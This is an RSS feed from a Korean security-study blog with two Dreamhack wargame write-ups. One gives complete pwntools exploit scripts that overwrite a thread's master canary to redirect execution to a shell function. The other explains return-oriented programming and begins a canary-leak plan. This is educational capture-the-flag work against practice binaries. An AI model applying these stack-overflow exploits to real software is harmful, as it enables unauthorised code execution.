<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>서우의 블로그</title>
    <link>https://seowoo-j.tistory.com/</link>
    <description>이것저것 올리는데 주로 보안과 관련된 글을 포스팅 합니다.</description>
    <language>ko</language>
    <pubDate>Mon, 1 Jun 2026 21:03:59 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>sewoo-jjang</managingEditor>
    <image>
      <title>서우의 블로그</title>
      <url>https://tistory1.daumcdn.net/tistory/8235362/attach/c72894e0217947efabe2b1eee6005e61</url>
      <link>https://seowoo-j.tistory.com</link>
    </image>
    <item>
      <title>[시스템 해킹] Master Canary write-up</title>
      <link>https://seowoo-j.tistory.com/34</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/359&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/359&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1776155917492&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;로그인 | Dreamhack&quot; data-og-description=&quot;&quot; data-og-host=&quot;dreamhack.io&quot; data-og-source-url=&quot;https://dreamhack.io/wargame/challenges/359&quot; data-og-url=&quot;https://dreamhack.io/users/login?after=/wargame/challenges/359&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/359&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://dreamhack.io/wargame/challenges/359&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;로그인 | Dreamhack&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;dreamhack.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;0. 보호기법 확인&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.23.05.png&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;258&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwg3iA/dJMcafM2DtC/0zirBnTjtoTkThtvaoP7G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwg3iA/dJMcafM2DtC/0zirBnTjtoTkThtvaoP7G0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwg3iA/dJMcafM2DtC/0zirBnTjtoTkThtvaoP7G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbwg3iA%2FdJMcafM2DtC%2F0zirBnTjtoTkThtvaoP7G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;740&quot; height=&quot;258&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.23.05.png&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;258&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;NX bit와 Canary가 켜져있음을 확인할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 소스코드 확인&lt;/h3&gt;
&lt;pre id=&quot;code_1776144258017&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void giveshell() { execve(&quot;/bin/sh&quot;, 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void read_bytes(char *buf, int size) {
  int i;

  for (i = 0; i &amp;lt; size; i++)
    if (read(0, buf + i*8, 8) &amp;lt; 8)
      return;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf(&quot;Size: &quot;);
  scanf(&quot;%d&quot;, &amp;amp;size);
  printf(&quot;Data: &quot;);
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&amp;amp;thread_t, NULL, (void *)thread_routine, NULL) &amp;lt; 0) {
    perror(&quot;thread create error:&quot;);
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;giveshell함수를 이용하여 쉘을 얻는 것임을 추측해볼 수 있다.&lt;/li&gt;
&lt;li&gt;read_bytes함수는 8바이트씩 읽어옴을 알 수 있다.&lt;/li&gt;
&lt;li&gt;thread_routine함수에서 buf를 overflow시킬 수 있음을 확인해볼 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. exploit 설계&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;카나리를 프로세스 실행 도중 받아올 수 있을 것 같아보이지 않아 Master canary를 내가 원하는 글자로 변형시키 exploit시키는 방식을 채택해야할 듯 싶다.&lt;/li&gt;
&lt;li&gt;master canary의 위치는 TLS영역에 있어 gdb를 이용한다면 주소를 계산할 수 있을것이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. offset 계산&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.33.19.png&quot; data-origin-width=&quot;1042&quot; data-origin-height=&quot;1050&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qWPuO/dJMb99MLbDF/tC2ElHdztMAv3TVz6uDOkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qWPuO/dJMb99MLbDF/tC2ElHdztMAv3TVz6uDOkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qWPuO/dJMb99MLbDF/tC2ElHdztMAv3TVz6uDOkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqWPuO%2FdJMb99MLbDF%2FtC2ElHdztMAv3TVz6uDOkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;453&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.33.19.png&quot; data-origin-width=&quot;1042&quot; data-origin-height=&quot;1050&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당 명령어로 Master Canary의 위치는 fs_base +0x28에 위치함을 알 수 있다&lt;/li&gt;
&lt;li&gt;canary의 위치는 rbp - 0x8에 위치함을 알 수 있다.&lt;/li&gt;
&lt;li&gt;buf의 위치는 rbp - 0x110임을 알 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.38.14.png&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WImzr/dJMcaadSvNF/VAJrpypGph4G3qkrJnNvhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WImzr/dJMcaadSvNF/VAJrpypGph4G3qkrJnNvhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WImzr/dJMcaadSvNF/VAJrpypGph4G3qkrJnNvhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWImzr%2FdJMcaadSvNF%2FVAJrpypGph4G3qkrJnNvhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2038&quot; height=&quot;148&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.38.14.png&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;thread_routine함수에 break를 걸어두고 run을 실행한 뒤 info threads 명령어를 작성하면 현재 thread가 존재함을 확인할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.39.41.png&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;62&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AKxPI/dJMcahjM4pG/QfZf8RvWSMbqtZ7qmL9fwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AKxPI/dJMcahjM4pG/QfZf8RvWSMbqtZ7qmL9fwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AKxPI/dJMcahjM4pG/QfZf8RvWSMbqtZ7qmL9fwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAKxPI%2FdJMcahjM4pG%2FQfZf8RvWSMbqtZ7qmL9fwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1028&quot; height=&quot;62&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.39.41.png&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;62&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;p/x (unsigned long)($fs_base+0x28) - (unsigned long)($rbp-0x110)&lt;/span&gt; 해당 명령어로 buf와 master_canary간의 거리가 0x928임을 확인할 수 있었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;mc.png&quot; data-origin-width=&quot;3144&quot; data-origin-height=&quot;3029&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diFgfB/dJMb990myvt/fVVLxlRbT6sCK68ugsUlw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diFgfB/dJMb990myvt/fVVLxlRbT6sCK68ugsUlw0/img.png&quot; data-alt=&quot;그림으로 보면 다음과 같다&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diFgfB/dJMb990myvt/fVVLxlRbT6sCK68ugsUlw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiFgfB%2FdJMb990myvt%2FfVVLxlRbT6sCK68ugsUlw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;543&quot; height=&quot;523&quot; data-filename=&quot;mc.png&quot; data-origin-width=&quot;3144&quot; data-origin-height=&quot;3029&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림으로 보면 다음과 같다&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. exploit 시도&lt;/h3&gt;
&lt;pre id=&quot;code_1776145458185&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = remote(&quot;localhost&quot;,7182)
e = ELF(&quot;./mc_thread&quot;, checksec=False)

BUF_TO_FS_0X28 = 0x928
giveshell = e.sym[&quot;giveshell&quot;]

payload = b&quot;A&quot; * 0x108 # buf
payload += b&quot;A&quot; * 0x8 # canary
payload += b&quot;B&quot; * 0x8 # RBP
payload += p64(giveshell)
payload += b&quot;D&quot; * (BUF_TO_FS_0X28 - len(payload))
payload += b&quot;A&quot; * 0x8 # master canary를 canary와 같은 값으로 설정

p.sendlineafter(b&quot;Size: &quot;, str(len(payload) // 8).encode())
p.sendafter(b&quot;Data: &quot;, payload)
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하지만 어째서인지 제대로 작동하지 않는다.&lt;/li&gt;
&lt;li&gt;어느 부분에서 break가 생기는지 gdb를 통해 알아보자.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.46.01.png&quot; data-origin-width=&quot;1358&quot; data-origin-height=&quot;316&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clmFAr/dJMcaiQsFHB/p7YxhmObrA7U4bclbhZJNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clmFAr/dJMcaiQsFHB/p7YxhmObrA7U4bclbhZJNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clmFAr/dJMcaiQsFHB/p7YxhmObrA7U4bclbhZJNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclmFAr%2FdJMcaiQsFHB%2Fp7YxhmObrA7U4bclbhZJNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1358&quot; height=&quot;316&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.46.01.png&quot; data-origin-width=&quot;1358&quot; data-origin-height=&quot;316&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;$rax + 0x972 부분에서 멈추었음을 확인할 수 있다.&lt;/li&gt;
&lt;li&gt;이는 offset 을 계산해 보았을 때 fs_base+ 0x10에 위치임을 알 수 있어 해당 위치의 값을 write할 수 있는 주소로만 바꾸어준다면 exploit 가능함을 예상해볼 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. write 가능한 주소 구하기&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.48.07.png&quot; data-origin-width=&quot;1674&quot; data-origin-height=&quot;840&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEBik0/dJMcafGfJXC/PQKVxe2oo7XqTWoOGDqGR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEBik0/dJMcafGfJXC/PQKVxe2oo7XqTWoOGDqGR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEBik0/dJMcafGfJXC/PQKVxe2oo7XqTWoOGDqGR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEBik0%2FdJMcafGfJXC%2FPQKVxe2oo7XqTWoOGDqGR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1674&quot; height=&quot;840&quot; data-filename=&quot;스크린샷 2026-04-14 오후 2.48.07.png&quot; data-origin-width=&quot;1674&quot; data-origin-height=&quot;840&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;gdb에서 해당 명령어로 확인해 보았을 때 0x404000 ~ 0x405000 의 주소범위가 rw-p 임으로 해당 주소를 이용한다면 가능할 것이다.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.032941); color: #0d0d0d; text-align: start;&quot;&gt;fake_tls + 0x972 = writable&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;주소(0x404300) -&amp;gt; fake_tls = 0x404300 - 0x972&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 최종 exploit 코드&lt;/h3&gt;
&lt;pre id=&quot;code_1776145909022&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = remote(&quot;localhost&quot;, 7182)
e = ELF(&quot;./mc_thread&quot;, checksec=False)

BUF_TO_FS_0X10 = 0x910
BUF_TO_FS_0X28 = 0x928
FAKE_TLS = 0x404100 - 0x972
giveshell = e.sym[&quot;giveshell&quot;]

payload = b&quot;A&quot; * 0x108
payload += b&quot;A&quot; * 0x8
payload += b&quot;B&quot; * 0x8
payload += p64(giveshell)
payload += b&quot;C&quot; * (BUF_TO_FS_0X10 - len(payload))
payload += p64(FAKE_TLS)
payload += b&quot;D&quot; * (BUF_TO_FS_0X28 - BUF_TO_FS_0X10 - 8)
payload += b&quot;A&quot; * 0x8

p.sendlineafter(b&quot;Size: &quot;, str(len(payload) // 8).encode())
p.sendafter(b&quot;Data: &quot;, payload)
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>워게임</category>
      <category>dream hack</category>
      <category>master canary</category>
      <category>pwnable</category>
      <category>보안공부</category>
      <category>시스템 해킹</category>
      <author>sewoo-jjang</author>
      <guid isPermaLink="true">https://seowoo-j.tistory.com/34</guid>
      <comments>https://seowoo-j.tistory.com/34#entry34comment</comments>
      <pubDate>Tue, 14 Apr 2026 14:52:16 +0900</pubDate>
    </item>
    <item>
      <title>[시스템 해킹] rop write-up</title>
      <link>https://seowoo-j.tistory.com/33</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/354&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/354&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1776073488351&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;로그인 | Dreamhack&quot; data-og-description=&quot;&quot; data-og-host=&quot;dreamhack.io&quot; data-og-source-url=&quot;https://dreamhack.io/wargame/challenges/354&quot; data-og-url=&quot;https://dreamhack.io/users/login?after=/wargame/challenges/354&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/354&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://dreamhack.io/wargame/challenges/354&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;로그인 | Dreamhack&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;dreamhack.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;0. 보호기법 확인&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;438&quot; data-origin-height=&quot;174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crtXSN/dJMcag6doSI/3p7etyaocOcnE2OVgkB0oK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crtXSN/dJMcag6doSI/3p7etyaocOcnE2OVgkB0oK/img.png&quot; data-alt=&quot;checksec ./rop&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crtXSN/dJMcag6doSI/3p7etyaocOcnE2OVgkB0oK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrtXSN%2FdJMcag6doSI%2F3p7etyaocOcnE2OVgkB0oK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;438&quot; height=&quot;174&quot; data-origin-width=&quot;438&quot; data-origin-height=&quot;174&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;checksec ./rop&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 소스코드 확인&lt;/h3&gt;
&lt;pre id=&quot;code_1776073527852&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts(&quot;[1] Leak Canary&quot;);
  write(1, &quot;Buf: &quot;, 5);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);

  // Do ROP
  puts(&quot;[2] Input ROP payload&quot;);
  write(1, &quot;Buf: &quot;, 5);
  read(0, buf, 0x100);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;친절하게도 카나리를 추출하는곳과 rop를 사용하는곳을 주석으로 알려주고 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;ROP란?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Return-Oriented Programming&lt;/b&gt;으로 프로그램에 이미 존재하는 &lt;b&gt;코드 조각들을 이어붙여&lt;/b&gt; 원하는 동작을 수행하는 공격 기법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;일반적으로 스택 버퍼 오버플로우가 발생하면 공격자는 반환 주소(return address)를 덮어쓸 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ROP에서는 이 반환 주소를 이용해, 프로그램 내부에 존재하는 짧은 코드 조각인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;gadget&lt;/b&gt;&lt;/span&gt;들을 순서대로 실행시킨다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;각 gadget은 보통 다음과 같은 형태를 가진다.&lt;/p&gt;
&lt;pre id=&quot;code_1776073735391&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pop rdi
ret&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1776073751985&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;mov rax, rdi
ret&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;NX(Non-Executable Stack)&lt;/b&gt;가 활성화되어 쉘코드를 직접 실행할 수 없을 때&lt;/li&gt;
&lt;li&gt;기존 코드만을 이용해 공격을 수행해야 할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. exploit 설계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 소스코드를 보면 알 수 있듯&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1776073915239&quot; class=&quot;css&quot; data-ke-language=&quot;css&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  // Leak canary
  puts(&quot;[1] Leak Canary&quot;);
  write(1, &quot;Buf: &quot;, 5);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분을 이용하여 카나리를 유출시킬 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 카나리가 스택의 어느 위치에 존재하는지부터 알아보도록 하자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-13 오후 6.53.19.png&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;848&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sDZ5L/dJMcadn44GZ/PUPN6XKA9aGPAhqkYjJCs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sDZ5L/dJMcadn44GZ/PUPN6XKA9aGPAhqkYjJCs0/img.png&quot; data-alt=&quot;gdb ./rop&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sDZ5L/dJMcadn44GZ/PUPN6XKA9aGPAhqkYjJCs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsDZ5L%2FdJMcadn44GZ%2FPUPN6XKA9aGPAhqkYjJCs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;454&quot; data-filename=&quot;스크린샷 2026-04-13 오후 6.53.19.png&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;848&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;gdb ./rop&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
